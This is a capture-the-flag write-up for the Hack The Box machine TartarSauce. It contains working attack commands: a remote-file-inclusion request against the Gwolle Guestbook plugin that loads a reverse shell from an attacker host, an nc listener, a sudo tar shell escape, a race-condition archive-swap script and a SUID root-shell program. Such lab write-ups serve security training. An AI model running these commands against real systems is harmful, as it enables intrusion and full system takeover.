TartarSauce — Hack The Box

InfoValue
OSLinux
DifficultyMedium
IP10.129.1.185
Hostnametartarsauce.htb
ServicesHTTP/Apache (80)

Enumeration

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan tartarsauce.htb
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-title: Landing Page

Only port 80 is open — Apache/2.4.18 (Ubuntu). Nmap directly detects robots.txt with 5 disallowed entries.

Web Enumeration

robots.txt reveals several paths under /webservices/:

  • /webservices/monstra-3.0.4/ — Monstra CMS 3.0.4
  • /webservices/tar/tar/source/
  • /webservices/easy-file-uploader/
  • /webservices/developmental/
  • /webservices/phpmyadmin/

Most paths return 404 — only Monstra is reachable.

Monstra CMS (Rabbit Hole)

Monstra 3.0.4 is accessible with default credentials admin:admin. Admin panel is functional, but file upload fails — upload directories have restrictive permissions (root-owned, www-data cannot write). This is not a machine bug, it is intentional.

WordPress

WordPress 4.9.4 found at /webservices/wp/. The site appears broken in the browser (malformed URLs in HTML source).

wpscan detection mode

The default passive detection mode of wpscan does not find plugins on this target. --plugins-detection aggressive is required to enumerate all of them.

Plugin enumeration (wpscan --plugins-detection aggressive):

PluginVersionNotes
akismet4.0.3XSS stored — not exploitable without user
brute-force-login-protection1.5.3Protects against brute force
gwolle-gb2.3.10Fake version! Changelog reveals: “Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D”

Gwolle Guestbook — RFI (CVE-2015-8351)

Vulnerability — CVE-2015-8351

WordPress Plugin Gwolle Guestbook 1.5.3 — Remote File Inclusion. The abspath parameter in ajaxresponse.php is passed directly to require(), allowing inclusion and execution of remote PHP files.

Structural root cause: the HTTP GET parameter abspath is not validated before being used in require(). The absence of a whitelist or path sanitization allows inclusion of remote resources when allow_url_include is enabled.

searchsploit "gwolle"
→ WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

The plugin is actually at version 1.5.3, vulnerable to Remote File Inclusion. The version in readme.txt was modified by the machine author to trick wpscan.

From the plugin changelog (readme.txt):

== Changelog ==

= 2.3.10 =
* 2018-2-12
* Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D

Initial Access

Exploit RFI with custom script (exploit2.py) — generates wp-load.php (PHP reverse shell) and starts an HTTP server on port 8001 (changed from 8000 to avoid conflicts). Fix applied: indentation error in the original script.

# Terminal 1 — listener
nc -nvlp 80
 
# Terminal 2 — exploit (HTTP server + payload)
python3 exploit2.py http://tartarsauce.htb/webservices/wp/ 10.10.14.139 80
 
# Terminal 3 — trigger RFI
curl -v -s http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.139:8001/

Shell obtained as www-data. Upgrade TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 160

Post-exploitation — wp-config.php

www-data@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.php
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');

System user found in /etc/passwd: onuma (uid 1000).


Privilege Escalation

www-data → onuma

Vulnerability

sudo misconfiguration — www-data can execute /bin/tar as user onuma without a password. tar is present on GTFOBins as a binary that allows shell escape via --to-command, --checkpoint-action, or the -I flag.

Structural root cause: tar is a binary that supports arbitrary command execution via multiple flags. Granting sudo on tar is equivalent to granting a shell as the target user.

Exploited via GTFOBins:

www-data@TartarSauce:$ sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
onuma@TartarSauce:$
onuma@TartarSauce:/var/tmp$ cat ~/user.txt  
d78af224410873284592087e5cd18b1a

user.txt obtained.

onuma → root (Race Condition in backuperer)

Discovery

Monitoring processes with pspy32 (transferred via HTTP from the attacking machine), an script /usr/sbin/backuperer executed as root every 5 minutes is identified:

onuma@TartarSauce:/tmp$ wget http://10.10.14.139/pspy32
onuma@TartarSauce:/tmp$ chmod +x pspy32
onuma@TartarSauce:/tmp$ ./pspy32
CMD: UID=0  PID=2310  | /bin/bash /usr/sbin/backuperer

Script Analysis

onuma@TartarSauce:/tmp$ cat /usr/sbin/backuperer

Variables: the name of the temporary file is a random SHA1 hash preceded by . (hidden file), created in /var/tmp/ (world-writable).

basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

Cleanup of previous files and creation of the archive. The script uses sudo -u onuma to create the tar — so the file is owned by onuma and writable by onuma.

/bin/rm -rf $tmpdir/.* $check
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

30-second sleep — this is the window of the race condition. The archive already exists in /var/tmp/ as an onuma file, and the script waits before using it.

/bin/sleep 30

Exploit — Race Condition

Script try.sh for replacing the archive during the 30-second window:

#!/bin/bash
/bin/tar -zcvf html -C /tmp var/www/html
sleep 3
ls -a | grep '^\.[^.]' > hash.txt
zip=$(cat hash.txt)
rm $zip
mv html /var/tmp/$zip

Execution: monitor /var/tmp/ with watch -n 1 ls -la /var/tmp/, when the hidden file appears, launch ./try.sh from /var/tmp/.

Flag

onuma@TartarSauce:/var/tmp$ cat /var/backups/onuma_backup_error.txt
------------------------------------------------------------------------
Integrity Check Error in backup last ran :  Thu Mar 19 20:50:13 EDT 2026
------------------------------------------------------------------------
/var/tmp/.fa315b46de3117b9cf1f0b9934c91955579c5285
diff -r /var/www/html/robots.txt /var/tmp/check/var/www/html/robots.txt
1,7c1
< User-agent: *
< Disallow: /webservices/tar/tar/source/
< Disallow: /webservices/monstra-3.0.4/
< Disallow: /webservices/easy-file-uploader/
< Disallow: /webservices/developmental/
< Disallow: /webservices/phpmyadmin/
<
---
> d9429225b3c86932f7b4d092c9569553

root.txt: d9429225b3c86932f7b4d092c9569553

Alternative Method — Root Shell via SUID Binary

Besides reading files via symlink+diff, an interactive root shell can be obtained using the same race condition with a SUID binary.

1. Compile a SUID binary on the attacking machine (static compilation to avoid glibc issues):

// evil.c
#include <unistd.h>
#include <stdlib.h>
 
int main(void){
    setreuid(0,0);
    system("/bin/bash");
}
gcc -m32 -static -o evil evil.c

Static compilation mandatory

Requires libc6-dev-i386 or gcc-multilib for 32-bit cross-compilation. The -static flag is mandatory because Kali’s modern glibc is incompatible with Ubuntu 16.04 of the target — without -static the binary fails with GLIBC_2.34 not found.

# Install if needed
sudo apt install gcc-multilib

2. Transfer the binary and insert it into the malicious archive:

# On target, copy evil to /tmp/var/www/html/
onuma@TartarSauce:/tmp$ wget http://10.10.14.139/evil -O /tmp/var/www/html/evil

3. Create the archive with owner root (the flag --owner=root --group=root sets ownership in the archive):

onuma@TartarSauce:/var/tmp$ /bin/tar -zcvf html -C /tmp var/www/html --owner=root --group=root

4. Updated script pwn.sh — same principle as try.sh:

#!/bin/bash
/bin/tar -zcvf html -C /tmp var/www/html --owner=root --group=root
sleep 3
ls -a | grep '^\.[^.]' > hash.txt
zip=$(cat hash.txt)
rm $zip
mv html /var/tmp/$zip

5. After replacement, backuperer extracts the archive as root in /var/tmp/check/. The evil binary is extracted with root ownership and SUID bit preserved:

onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la evil
-r-sr-sr-x 1 root root 748996 Mar 19 21:39 evil
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./evil
root@TartarSauce:/var/tmp/check/var/www/html# whoami
root

Root cause: backuperer runs tar -zxvf as root without --no-same-owner and without --no-same-permissions, so ownership and permissions (including SUID bit) from the archive are preserved on extraction.